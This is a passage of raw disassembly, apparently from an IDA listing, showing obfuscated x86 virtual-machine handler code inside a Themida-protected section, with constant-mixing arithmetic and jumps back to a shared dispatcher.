xchg ebx, [esp]
jmp loc_551CAB
; ---------------------------------------------------------------------------
loc_553ACB: ; CODE XREF: Themida_:0055C092j
pop edi
sub esi, 1F3F15AAh
add esi, ebx
jmp loc_552225
; ---------------------------------------------------------------------------
loc_553AD9: ; CODE XREF: Themida_:00553B69j
push esi
jmp loc_554346
; ---------------------------------------------------------------------------
loc_553ADF: ; CODE XREF: Themida_:005570FFj
pop ebp
add ebp, 4
jmp loc_559183
; ---------------------------------------------------------------------------
loc_553AEB: ; CODE XREF: Themida_:005562C6j
bts [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553AF6: ; CODE XREF: Themida_:00558F0Aj
push 3A0E66E1h
pop edx
xor edx, 18C670A1h
jmp loc_55216D
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], eax
push esp
mov eax, [esp]
jmp loc_557A09
; ---------------------------------------------------------------------------
loc_553B1A: ; CODE XREF: Themida_:005598BCj
pop dx
add ax, bx
add ax, 763Dh
sub esp, 2
mov [esp], cx
jmp loc_55C0A0
; ---------------------------------------------------------------------------
loc_553B32: ; CODE XREF: Themida_:00558B5Aj
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ebx, esi
mov esi, [esp]
add esp, 4
and ebx, 202C6DABh
jmp loc_55A249
; ---------------------------------------------------------------------------
loc_553B5B: ; CODE XREF: Themida_:00557832j
not esi
shl esi, 2
xor esi, 0C39BA146h
xor edx, esi
pop esi
jmp loc_553AD9
; ---------------------------------------------------------------------------
loc_553B6E: ; CODE XREF: Themida_:00554A2Fj
mov [esp], eax
jmp loc_55377C
; ---------------------------------------------------------------------------
loc_553B76: ; CODE XREF: Themida_:00551B5Fj
movzx cx, al
push ecx
push edi
mov edi, esp
jmp loc_557C57
; ---------------------------------------------------------------------------
loc_553B83: ; CODE XREF: Themida_:00557F3Aj
xor edi, eax
pop eax
sub edi, 8388C5CBh
mov eax, edi
pop edi
mov edx, eax
pop eax
jmp loc_5586C1
; ---------------------------------------------------------------------------
loc_553B97: ; CODE XREF: Themida_:0055D396j
push eax
mov eax, 4
add edx, eax
mov eax, [esp]
jmp loc_5524E7
; ---------------------------------------------------------------------------
loc_553BA7: ; CODE XREF: Themida_:0055725Aj
mov dx, 0B728h
xor bp, dx
jmp loc_554795
; ---------------------------------------------------------------------------
loc_553BB3: ; CODE XREF: Themida_:00559794j
pop eax
inc eax
add eax, 632E6DE6h
xor edx, eax
jmp loc_5541D1
; ---------------------------------------------------------------------------
loc_553BC1: ; CODE XREF: Themida_:0055D5D5j
push eax
jmp loc_558B3C
; ---------------------------------------------------------------------------
loc_553BC7: ; CODE XREF: Themida_:0055937Dj
shl edi, 4
inc edi
add edi, 9EE59936h
mov ebx, edi
jmp loc_55C508
; ---------------------------------------------------------------------------
loc_553BD8: ; CODE XREF: Themida_:0055977Fj
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_55986F
; ---------------------------------------------------------------------------
loc_553BF1: ; CODE XREF: Themida_:0055C82Fj
not di
neg di
jmp loc_554D36
; ---------------------------------------------------------------------------
loc_553BFC: ; CODE XREF: Themida_:0055B0EFj
add esp, 4
shr dh, 1
add dh, 0FFh
shr dh, 5
xor dh, 5Dh
push ebx
mov bh, 0C7h
neg bh
jmp loc_55A920
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_556A48
; ---------------------------------------------------------------------------
loc_553C1F: ; CODE XREF: Themida_:00559567j
add ecx, 256D74ADh
xor edi, ecx
pop ecx
not edi
xor edi, 0A41F0E53h
add ecx, edi
pop edi
xor ecx, [esp]
xor [esp], ecx
jmp loc_55C0CD
; ---------------------------------------------------------------------------
loc_553C3E: ; CODE XREF: Themida_:00555DD2j
push edx
jmp loc_559BD3
; ---------------------------------------------------------------------------
lodsb
sub al, 3Dh
add al, 0
sub al, 5Ah
sub al, 6Dh
sub al, bl
add al, 6Dh
jmp loc_55C95E
; ---------------------------------------------------------------------------
loc_553C56: ; CODE XREF: Themida_:0055C3E1j
push edx
mov edx, 4
add ebp, edx
pop edx
xchg ebp, [esp]
jmp loc_55BD75
; ---------------------------------------------------------------------------
loc_553C67: ; CODE XREF: Themida_:00551D63j
xor bh, dl
pop dx
add al, bh
mov ebx, [esp]
jmp loc_556C43
; ---------------------------------------------------------------------------
loc_553C75: ; CODE XREF: Themida_:0055B7CAj
sub ebp, ebx
pop ebx
shl ebp, 6
sub ebp, 1F797AEAh
jmp loc_55ABEE
; ---------------------------------------------------------------------------
loc_553C86: ; CODE XREF: Themida_:00557ACAj
pop ebp
add eax, edx
add eax, 2F5550C6h
mov edx, [esp]
add esp, 4
push esi
jmp loc_55CB6D
; ---------------------------------------------------------------------------
loc_553C9A: ; CODE XREF: Themida_:00558897j
pop esp
push 4D66h
mov [esp], ebx
add dword ptr [esp], 282C5AD4h
pop eax
sub eax, 282C5AD4h
mov ebx, [esp]
jmp loc_559EA2
; ---------------------------------------------------------------------------
loc_553CB8: ; CODE XREF: Themida_:00558357j
mov esi, 0A23AE9D1h
add esi, ebp
pop ebp
jmp loc_5554CD
; ---------------------------------------------------------------------------
loc_553CC5: ; CODE XREF: Themida_:00559D12j
mov ecx, 47E26A96h
or ebx, ecx
pop ecx
add ebx, 35E76A39h
xor ebx, 9DD5D511h
jmp loc_55A949
; ---------------------------------------------------------------------------
loc_553CDE: ; CODE XREF: Themida_:0055699Cj
add ebx, ecx
pop ecx
mov edi, ebx
pop ebx
or edi, 7B5673E8h
jmp loc_558287
; ---------------------------------------------------------------------------
loc_553CEF: ; CODE XREF: Themida_:005555E5j
mov eax, 4DCD6CC2h
sub ecx, eax
jmp loc_5562DE
; ---------------------------------------------------------------------------
loc_553CFB: ; CODE XREF: Themida_:00558F85j
pop edx
mov ebx, [esp]
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_5532B2
; ---------------------------------------------------------------------------
loc_553D0D: ; CODE XREF: Themida_:00555A8Dj
push ecx
mov ecx, 4
add edx, ecx
mov ecx, [esp]
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
jmp loc_55A84F
; ---------------------------------------------------------------------------
loc_553D26: ; CODE XREF: Themida_:00554CEDj
shl ebp, 6
dec ebp
sub ebp, 8C2719C3h
or edi, ebp
pop ebp
not edi
add edi, 0EB3BA3D6h
jmp loc_55987C
; ---------------------------------------------------------------------------
loc_553D40: ; CODE XREF: Themida_:0055CDA1j
sub ebx, 64222D1Dh
add ebx, esi
add ebx, 64222D1Dh
pop esi
add ebx, 4
xor ebx, [esp]
jmp loc_556C82
; ---------------------------------------------------------------------------
loc_553D5A: ; CODE XREF: Themida_:0055D83Dj
xor ebx, 76AF1994h
sub ebx, 0F66F98FCh
jmp loc_557F45
; ---------------------------------------------------------------------------
loc_553D6B: ; CODE XREF: Themida_:0055B882j
mov al, 5Fh
add al, 0A0h
jmp loc_555BAA
; ---------------------------------------------------------------------------
loc_553D74: ; CODE XREF: Themida_:005518BDj
add esp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
cmp ecx, eax
pushf
jmp loc_558170
; ---------------------------------------------------------------------------
loc_553D88: ; CODE XREF: Themida_:00559E07j
sub ecx, 114D33C7h
sub ecx, esi
add ecx, 114D33C7h
pop esi
sub edi, ecx
pop ecx
not edi
push ebp
mov ebp, 0E2A36EF8h
jmp loc_55293D
; ---------------------------------------------------------------------------
loc_553DA7: ; CODE XREF: Themida_:00556901j
sub ebx, 4
jmp loc_555B1B
; ---------------------------------------------------------------------------
loc_553DAF: ; CODE XREF: Themida_:005537B9j
push 6E458BA6h
push dword ptr [esp]
mov esi, [esp]
push 3233h
mov [esp], esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push eax
mov eax, esp
add eax, 4
push esi
jmp loc_55C038
; ---------------------------------------------------------------------------
loc_553DDF: ; CODE XREF: Themida_:0055DCA7j
add edx, 4
jmp loc_55CCEA
; ---------------------------------------------------------------------------
loc_553DEA: ; CODE XREF: Themida_:0055267Ej
add esp, 4
xchg ecx, [esp]
pop esp
jmp loc_558FEF
; ---------------------------------------------------------------------------
loc_553DF9: ; CODE XREF: Themida_:005566FBj
pop ecx
jmp loc_55BA94
; ---------------------------------------------------------------------------
loc_553DFF: ; CODE XREF: Themida_:0055C01Bj
mov esp, [esp]
inc word ptr [esp]
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553E0C: ; CODE XREF: Themida_:005593ABj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push ecx
mov cl, dl
push edx
push eax
mov ah, cl
mov dh, ah
pop eax
mov [edi+eax*4], dh
push dword ptr [esp]
pop edx
push eax
mov eax, esp
jmp loc_55BD47
; ---------------------------------------------------------------------------
loc_553E31: ; CODE XREF: Themida_:0055A026j
and ebp, esi
mov esi, [esp]
add esp, 4
xor ebp, 0A8669514h
sub eax, 298D4D04h
jmp loc_5588D4
; ---------------------------------------------------------------------------
loc_553E49: ; CODE XREF: Themida_:00558B22j
mov [esp], eax
mov eax, esp
push edi
mov edi, 4
add eax, edi
pop edi
jmp loc_554E19
; ---------------------------------------------------------------------------
loc_553E5C: ; CODE XREF: Themida_:005521E5j
mov al, 0DAh
add al, 7Ch
add bl, al
pop eax
push eax
mov al, 84h
and al, 0CFh
jmp loc_55D39B
; ---------------------------------------------------------------------------
mov ecx, [esp]
push edi
mov edi, esp
push eax
mov eax, 4
add edi, 0EAE0D36h
sub edi, 71C62431h
add edi, eax
add edi, 71C62431h
sub edi, 0EAE0D36h
mov eax, [esp]
jmp loc_55B76C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553EAA: ; CODE XREF: Themida_:00554790j
add eax, 4
jmp loc_554E37
; ---------------------------------------------------------------------------
loc_553EB4: ; CODE XREF: Themida_:005523DEj
shl dword ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553EBD: ; CODE XREF: Themida_:0055A55Dj
push esi
mov esi, 4
add ecx, esi
pop esi
push eax
mov eax, 2B8B45FDh
shr eax, 2
add eax, 6A851B56h
add eax, 6FD54CC9h
inc eax
shl eax, 7
jmp loc_55C0D9
; ---------------------------------------------------------------------------
loc_553EE2: ; CODE XREF: Themida_:0055A2E4j
mov ebp, [esp]
add esp, 4
jmp loc_552292
; ---------------------------------------------------------------------------
loc_553EED: ; CODE XREF: Themida_:005524D7j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553EF2: ; CODE XREF: Themida_:005570DFj
mov [esp], ebx
jmp loc_555C88
; ---------------------------------------------------------------------------
loc_553EFA: ; CODE XREF: Themida_:00556C09j
mov ecx, 3A969B2h
mov eax, 76D13FD2h
jmp loc_551A70
; ---------------------------------------------------------------------------
loc_553F09: ; CODE XREF: Themida_:005577DEj
pop esi
push eax
mov eax, 76AA44A6h
jmp loc_559784
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_5541D9
; ---------------------------------------------------------------------------
loc_553F30: ; CODE XREF: Themida_:0055401Cj
pop esi
add esi, 4
push 76C5h
jmp loc_557D2E
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_553F49: ; CODE XREF: Themida_:005564E9j
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5538A6
; ---------------------------------------------------------------------------
loc_553F58: ; CODE XREF: Themida_:0055255Fj
sub esp, 4
mov [esp], edi
mov edi, 719D482Eh
sub dword ptr [esp+4], 31D4210h
jmp loc_55650D
; ---------------------------------------------------------------------------
loc_553F73: ; CODE XREF: Themida_:00556831j
xor edx, eax
xor eax, edx
push 6BEBh
mov [esp], ebx
sub esp, 4
jmp loc_5546D0
; ---------------------------------------------------------------------------
loc_553F8A: ; CODE XREF: Themida_:00554561j
mov eax, 24h
add esi, 60FC0EF5h
jmp loc_556A58
; ---------------------------------------------------------------------------
loc_553F9A: ; CODE XREF: Themida_:0055CD01j
mov [esp], esi
jmp loc_55BD7B
; ---------------------------------------------------------------------------
loc_553FA2: ; CODE XREF: Themida_:005534C4j
push 4ED7h
mov [esp], ecx
mov ecx, 6B593A36h
add eax, ecx
pop ecx
movzx ax, byte ptr [eax]
push small 6A9Ah
mov [esp], ax
jmp loc_552482
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_55864F
; ---------------------------------------------------------------------------
loc_553FCC: ; CODE XREF: Themida_:0055DCFBj
add esp, 4
sub ebp, 4
jmp loc_55C147
; ---------------------------------------------------------------------------
loc_553FDD: ; CODE XREF: Themida_:00558430j
inc ebx
push eax
mov eax, 24662A64h
sub ebx, eax
mov eax, [esp]
add esp, 4
and eax, ebx
jmp loc_552DEF
; ---------------------------------------------------------------------------
lodsd
jmp loc_554838
; ---------------------------------------------------------------------------
loc_553FFC: ; CODE XREF: Themida_:00553A3Dj
push 4AAh
mov [esp], ebp
jmp loc_55B3E0
; ---------------------------------------------------------------------------
loc_554009: ; CODE XREF: Themida_:005570BFj
add ebx, eax
pop eax
xchg ebx, [esp]
pop esp
imul cx
jmp loc_55BFD4
; ---------------------------------------------------------------------------
loc_554018: ; CODE XREF: Themida_:0055B7A0j
mov [esp], esi
push esp
jmp loc_553F30
; ---------------------------------------------------------------------------
loc_554021: ; CODE XREF: Themida_:00559B14j
sub ecx, edi
pop edi
mov ebx, [esp]
add esp, 4
jmp loc_559593
; ---------------------------------------------------------------------------
loc_55402F: ; CODE XREF: Themida_:0055640Ej
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_558CA2
; ---------------------------------------------------------------------------
loc_554045: ; CODE XREF: Themida_:0055D3F0j
mov edi, 78006073h
not edi
xor edi, edx
jmp loc_55A43B
; ---------------------------------------------------------------------------
loc_554053: ; CODE XREF: Themida_:0055CA9Dj
push dword ptr [esp]
pop eax
add esp, 4
push edi
mov edi, 7A966D28h
xor edi, 0CE801C20h
jmp loc_55657E
; ---------------------------------------------------------------------------
loc_55406B: ; CODE XREF: Themida_:0055A60Aj
mov esi, esp
add esi, 4
push eax
jmp loc_5518A3
; ---------------------------------------------------------------------------
loc_554079: ; CODE XREF: Themida_:00558137j
mov ecx, [esp]
add esp, 4
push ecx
jmp loc_556082
; ---------------------------------------------------------------------------
loc_554088: ; CODE XREF: Themida_:00555BD8j
sub esi, 7B03108Ch
add esi, edi
jmp loc_558393
; ---------------------------------------------------------------------------
loc_554095: ; CODE XREF: Themida_:0055AAD3j
add ebx, 4
push 744Dh
jmp loc_55DBE2
; ---------------------------------------------------------------------------
loc_5540A5: ; CODE XREF: Themida_:00553771j
sub edx, 36382AA5h
add edx, ecx
add edx, 36382AA5h
pop ecx
sub edx, eax
mov eax, edx
pop edx
shr eax, 6
not eax
jmp loc_55BA82
; ---------------------------------------------------------------------------
loc_5540C3: ; CODE XREF: Themida_:005572C3j
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
loc_5540D2: ; CODE XREF: Themida_:0055B238j
push 1FB6h
mov [esp], ebx
push ebx
jmp loc_552401
; ---------------------------------------------------------------------------
loc_5540E0: ; CODE XREF: Themida_:00557481j
push edx
mov edx, esp
push ecx
mov ecx, 3BB5244Dh
xor ecx, 0AFA3E41h
not ecx
sub ecx, 0CEB0E5EFh
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp]
jmp loc_55C9B4
; ---------------------------------------------------------------------------
loc_554105: ; CODE XREF: Themida_:00559B31j
pop ecx
add [esp], eax
add dword ptr [esp], 7EF230E9h
push ebx
push esp
pop ebx
add ebx, 4
jmp loc_55B436
; ---------------------------------------------------------------------------
loc_55411E: ; CODE XREF: Themida_:00552639j
add edx, edi
sub edx, 7F7A3E0Dh
jmp loc_557E3A
; ---------------------------------------------------------------------------
loc_55412B: ; CODE XREF: Themida_:0055CCE5j
mov [esp], edi
mov edi, 233E67E8h
add edi, 73974F54h
push ebx
jmp loc_55868F
; ---------------------------------------------------------------------------
loc_55413F: ; CODE XREF: Themida_:0055C734j
mov esp, [esp]
mov cx, [esp]
push 6F48h
mov [esp], eax
push esp
pop eax
sub esp, 4
jmp loc_55AB69
; ---------------------------------------------------------------------------
loc_55415B: ; CODE XREF: Themida_:0055275Fj
push small word ptr [eax]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_554163: ; CODE XREF: Themida_:0055377Ej
and dl, ah
pop eax
jmp loc_5591CE
; ---------------------------------------------------------------------------
loc_55416B: ; CODE XREF: Themida_:005588C5j
mov edx, 610D0D89h
push ebx
jmp loc_559EB2
; ---------------------------------------------------------------------------
loc_554176: ; CODE XREF: Themida_:0055967Aj
mov ebp, 48D75764h
mov edi, ebp
pop ebp
push ebx
mov ebx, 62B05432h
jmp loc_55BB3E
; ---------------------------------------------------------------------------
loc_554189: ; CODE XREF: Themida_:0055B558j
sub edx, ebx
pop ebx
jmp loc_55B55D
; ---------------------------------------------------------------------------
loc_554191: ; CODE XREF: Themida_:0055DCDEj
mov [esp], ebp
mov ebp, 59AF0772h
inc ebp
add ebp, 6D2D35BEh
or ebp, 166B4E24h
inc ebp
push edx
mov edx, 5A97497Eh
and edx, 535829C1h
push ebx
mov ebx, 4389520Ah
shl ebx, 5
dec ebx
xor ebx, 1CEE4F66h
add edx, ebx
pop ebx
xor edx, 0C239B2ACh
jmp loc_5521EA
; ---------------------------------------------------------------------------
loc_5541D1: ; CODE XREF: Themida_:00553BBCj
pop eax
add esi, edx
jmp loc_557E7A
; ---------------------------------------------------------------------------
loc_5541D9: ; CODE XREF: Themida_:00553F2Bj
pop esp
mov [esp], ecx
sub esp, 4
jmp loc_55B276
; ---------------------------------------------------------------------------
loc_5541E8: ; CODE XREF: Themida_:0055ADB0j
push small 6F96h
mov [esp], dx
push ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5541F8: ; CODE XREF: Themida_:005579A1j
xor al, dl
mov dx, [esp]
add esp, 2
add bl, 0F9h
jmp loc_55B4A8
; ---------------------------------------------------------------------------
loc_554209: ; CODE XREF: Themida_:0055200Fj
dec esi
push ebx
mov ebx, 0FFFFFFFFh
jmp loc_552B33
; ---------------------------------------------------------------------------
loc_554215: ; CODE XREF: Themida_:00556839j
mov esp, [esp]
jmp loc_557AB1
; ---------------------------------------------------------------------------
loc_55421D: ; CODE XREF: Themida_:00556C22j
shr ebp, 3
dec ebp
neg ebp
jmp loc_55A18C
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_55DCA5
; ---------------------------------------------------------------------------
loc_55424B: ; CODE XREF: Themida_:00556917j
push ebp
mov ebp, ecx
push ebp
sub dword ptr [esp], 16D460BBh
pop edi
add edi, 16D460BBh
mov ebp, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
jmp loc_555AC3
; ---------------------------------------------------------------------------
loc_554270: ; CODE XREF: Themida_:00554951j
xor [esp], ecx
xor ecx, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_55D3D9
; ---------------------------------------------------------------------------
loc_554286: ; CODE XREF: Themida_:0055CA2Fj
not eax
xchg eax, [esp]
pop dword ptr [edi+24h]
jmp loc_557F6C
; ---------------------------------------------------------------------------
loc_554293: ; CODE XREF: Themida_:00551D7Bj
xor eax, ecx
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, esp
jmp loc_5594E4
; ---------------------------------------------------------------------------
loc_5542A3: ; CODE XREF: Themida_:0055AF15j
pop esp
sub esp, 2
jmp loc_55AB4D
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_55908A
; ---------------------------------------------------------------------------
loc_5542B7: ; CODE XREF: Themida_:00556E1Aj
mov al, 0EBh
add al, dh
pop edx
jmp loc_55C402
; ---------------------------------------------------------------------------
loc_5542C1: ; CODE XREF: Themida_:00558B08j
pop esi
push edx
mov edx, 413802E3h
add esi, edx
mov edx, [esp]
add esp, 4
push 6D1Fh
mov [esp], esi
pop dword ptr [edi+20h]
mov esi, [esp]
add esp, 4
jmp loc_55CE89
; ---------------------------------------------------------------------------
loc_5542E9: ; CODE XREF: Themida_:0055669Fj
mov ebx, edx
pop edx
mov esi, ebx
pop ebx
and edi, esi
pop esi
neg edi
jmp loc_55A4CE
; ---------------------------------------------------------------------------
loc_5542F9: ; CODE XREF: Themida_:0055C254j
sub ebp, 2361CCE2h
sub edi, ebp
pop ebp
jmp loc_55B1B3
; ---------------------------------------------------------------------------
loc_554307: ; CODE XREF: Themida_:0055A983j
pop esp
shr byte ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_554311: ; CODE XREF: Themida_:0055D785j
and ebp, 7F997D40h
dec ebp
or ebp, 72A97DB0h
xor ebp, 4712323h
shl ebp, 8
sub ebp, 8BB4C27Fh
add edx, ebp
jmp loc_558F66
; ---------------------------------------------------------------------------
loc_554334: ; CODE XREF: Themida_:0055AA93j
mov ecx, 58C33B69h
jmp loc_556E7F
; ---------------------------------------------------------------------------
loc_55433E: ; CODE XREF: Themida_:005530C4j
push esi
mov esi, esp
jmp loc_55D8A9
; ---------------------------------------------------------------------------
loc_554346: ; CODE XREF: Themida_:00553ADAj
mov esi, edx
jmp loc_557B0C
; ---------------------------------------------------------------------------
loc_55434D: ; CODE XREF: Themida_:0055B5F5j
mov edi, 4
jmp loc_55C29F
; ---------------------------------------------------------------------------
loc_554357: ; CODE XREF: Themida_:0055D740j
add ebp, edi
pop edi
pop ecx
jmp loc_558E8F
; ---------------------------------------------------------------------------
loc_554360: ; CODE XREF: Themida_:0055CA62j
not esi
xor ebp, esi
xor esi, ebp
xor ebp, esi
push 3355h
jmp loc_55D1A2
; ---------------------------------------------------------------------------
loc_554372: ; CODE XREF: Themida_:00553585j
add edi, ebp
sub edi, 0C840DD6h
pop ebp
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push 5AEh
jmp loc_558196
; ---------------------------------------------------------------------------
loc_55438E: ; CODE XREF: Themida_:0055BABEj
xor ecx, 4AED0AB8h
mov edx, ecx
jmp loc_55A383
; ---------------------------------------------------------------------------
loc_55439B: ; CODE XREF: Themida_:005551DBj
add esp, 4
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5543A6: ; CODE XREF: Themida_:00559B99j
sub ecx, ebp
jmp loc_55B488
; ---------------------------------------------------------------------------
loc_5543AD: ; CODE XREF: Themida_:00555578j
mov edi, 4
push ebp
push edi
mov edi, 0BDA2308h
sub edi, 0D54504CAh
mov ebp, edi
jmp loc_5525F0
; ---------------------------------------------------------------------------
loc_5543C6: ; CODE XREF: Themida_:00552D40j
mov eax, [esp]
add esp, 4
push edi
jmp loc_5562BB
; ---------------------------------------------------------------------------
loc_5543D2: ; CODE XREF: Themida_:0055970Dj
and bh, 51h
not bh
shr bh, 1
neg bh
add bh, 0FAh
sub bh, 8Fh
sub al, 2Ah
sub al, bh
add al, 2Ah
pop ebx
push edx
jmp loc_551B1F
; ---------------------------------------------------------------------------
loc_5543EE: ; CODE XREF: Themida_:0055A3BFj
push edx
jmp loc_552F6A
; ---------------------------------------------------------------------------
lodsd
push ebp
mov ebp, esp
push eax
jmp loc_55AC93
; ---------------------------------------------------------------------------
loc_5543FE: ; CODE XREF: Themida_:005537CEj
pop ebx
push edi
mov edi, 5F610DD6h
shl edi, 2
or edi, 1FE15567h
push 42C4h
mov [esp], ecx
mov ecx, 1
push ecx
mov ecx, 5F292FFCh
and ecx, 4D2A5F5Ch
neg ecx
jmp loc_55ADE7
; ---------------------------------------------------------------------------
loc_55442E: ; CODE XREF: Themida_:00555899j
add esp, 4
push 8
jmp loc_55D275
; ---------------------------------------------------------------------------
loc_55443B: ; CODE XREF: Themida_:0055B7B8j
mov [esp], edx
mov edx, esp
push ebp
push 4
pop ebp
push ebx
mov ebx, 18E9213Ch
jmp loc_55D380
; ---------------------------------------------------------------------------
loc_554452: ; CODE XREF: Themida_:00556C17j
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
mov ax, [esp]
jmp loc_55741F
; ---------------------------------------------------------------------------
loc_55446A: ; CODE XREF: Themida_:00554CA4j
pop edi
shr ecx, 8
neg ecx
sub ecx, 0FFFFFFFFh
add ecx, 3D9644B4h
sub eax, ecx
jmp loc_558580
; ---------------------------------------------------------------------------
loc_554483: ; CODE XREF: Themida_:00559A9Ej
mov ebx, 23FE7EEAh
jmp loc_5535D0
; ---------------------------------------------------------------------------
loc_55448D: ; CODE XREF: Themida_:00558271j
pop edx
movzx eax, al
jmp loc_55909A
; ---------------------------------------------------------------------------
loc_554496: ; CODE XREF: Themida_:0055D6E8j
pop ebp
push edi
not dword ptr [esp]
push dword ptr [esp]
pop edi
add esp, 4
neg edi
xor edi, 312035CBh
sub edx, edi
pop edi
pop ecx
add edx, 4
jmp loc_55193D
; ---------------------------------------------------------------------------
loc_5544B9: ; CODE XREF: Themida_:005538C5j
add edx, 4
xchg edx, [esp]
pop esp
mov bl, 67h
and bl, 52h
shr bl, 8
jmp loc_552F29
; ---------------------------------------------------------------------------
loc_5544CD: ; CODE XREF: Themida_:0055DA6Fj
add esp, 4
xor ebx, eax
jmp loc_55450F
; ---------------------------------------------------------------------------
loc_5544D7: ; CODE XREF: Themida_:0055CF69j
add esi, ebp
pop ebp
xchg esi, [esp]
jmp loc_55D9F8
; ---------------------------------------------------------------------------
loc_5544E2: ; CODE XREF: Themida_:00557AACj
sub ebx, 1D2655Eh
pop ebp
add ebx, edx
sub ebx, 5C1A7421h
push edx
mov edx, 0
jmp loc_557A1C
; ---------------------------------------------------------------------------
loc_5544FC: ; CODE XREF: Themida_:0055458Dj
mov [esp], ebx
mov bh, 0F7h
push 27ACh
mov [esp], eax
push ecx
jmp loc_55D3BD
; ---------------------------------------------------------------------------
loc_55450F: ; CODE XREF: Themida_:005544D2j
movzx ax, byte ptr [eax]
sub esp, 4
mov [esp], edx
push esp
jmp loc_55663F
; ---------------------------------------------------------------------------
loc_554522: ; CODE XREF: Themida_:005591B4j
pop ecx
add esp, 4
add al, 0F3h
add al, bl
sub al, 0F3h
jmp loc_55DAE8
; ---------------------------------------------------------------------------
loc_554534: ; CODE XREF: Themida_:0055C04Cj
pop eax
push esi
mov esi, 4
add edx, esi
pop esi
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], eax
jmp loc_553F8A
; ---------------------------------------------------------------------------
loc_554566: ; CODE XREF: Themida_:0055ACC6j
not ch
jmp loc_55B22F
; ---------------------------------------------------------------------------
loc_55456D: ; CODE XREF: Themida_:00552257j
mov ebx, 4
jmp loc_55B3F7
; ---------------------------------------------------------------------------
loc_554577: ; CODE XREF: Themida_:00555706j
add dl, ah
pop eax
sub bl, dl
pop edx
xor bl, 0A7h
xor al, bl
mov ebx, [esp]
add esp, 4
push 2C6Bh
jmp loc_5544FC
; ---------------------------------------------------------------------------
loc_554592: ; CODE XREF: Themida_:00553162j
push ebx
mov bl, 0FBh
push eax
push ecx
mov ch, bl
mov al, ch
jmp loc_55766B
; ---------------------------------------------------------------------------
loc_5545A0: ; CODE XREF: Themida_:00559728j
add ecx, 4
jmp loc_5552AD
; ---------------------------------------------------------------------------
loc_5545AB: ; CODE XREF: Themida_:00552A76j
add ebp, esi
pop esi
push edi
mov edi, 249D3155h
and ebp, edi
pop edi
push ecx
push 5E3Ch
mov [esp], ebx
mov ebx, 39BD29ECh
jmp $+5
mov ecx, 2C6A47EDh
xor ecx, ebx
pop ebx
and ebp, ecx
mov ecx, [esp]
add esp, 4
sub ebp, 50000h
mov ebx, ebp
pop ebp
jmp loc_5579DF
; ---------------------------------------------------------------------------
loc_5545EB: ; CODE XREF: Themida_:0055D966j
xor edx, 0F676F224h
sub edi, edx
pop edx
dec edi
jmp loc_558C2F
; ---------------------------------------------------------------------------
loc_5545FA: ; CODE XREF: Themida_:005522B7j
push edx
mov dh, 2Bh
jmp loc_55967F
; ---------------------------------------------------------------------------
loc_554602: ; CODE XREF: Themida_:0055ACABj
dec edi
shr edi, 4
shr edi, 3
add edi, 42D864B3h
xor edi, 87BFC9B6h
xor ebp, edi
pop edi
push ebp
jmp loc_55941E
; ---------------------------------------------------------------------------
loc_55461E: ; CODE XREF: Themida_:00552295j
pop esp
mov [esp], edi
mov edi, 4
and ecx, edi
pop edi
shr ecx, 2
push 3531h
mov [esp], ecx
mov ecx, ebx
sub esp, 4
mov [esp], ecx
push esi
mov esi, 54836E04h
sub [esp+4], esi
jmp loc_55C3E6
; ---------------------------------------------------------------------------
loc_55464C: ; CODE XREF: Themida_:00559191j
mov edx, 38F83A83h
shr edx, 7
sub edx, 0DD7AB846h
push 539Dh
mov [esp], esi
mov esi, 3A9F55A5h
add esi, 1C036869h
and esi, 7A3B7912h
xor esi, 8217929h
jmp loc_552458
; ---------------------------------------------------------------------------
loc_55467E: ; CODE XREF: Themida_:00558CE7j
xor esi, 0FFC1AE20h
xor edx, esi
pop esi
jmp loc_55C3DE
; ---------------------------------------------------------------------------
loc_55468C: ; CODE XREF: Themida_:0055B483j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_554691: ; CODE XREF: Themida_:0055378Fj
shr edx, 1
jmp loc_55A642
; ---------------------------------------------------------------------------
loc_554698: ; CODE XREF: Themida_:0055353Dj
neg eax
sub eax, 32AA5FB2h
and eax, 4AA66ACBh
add eax, 0BD9978A8h
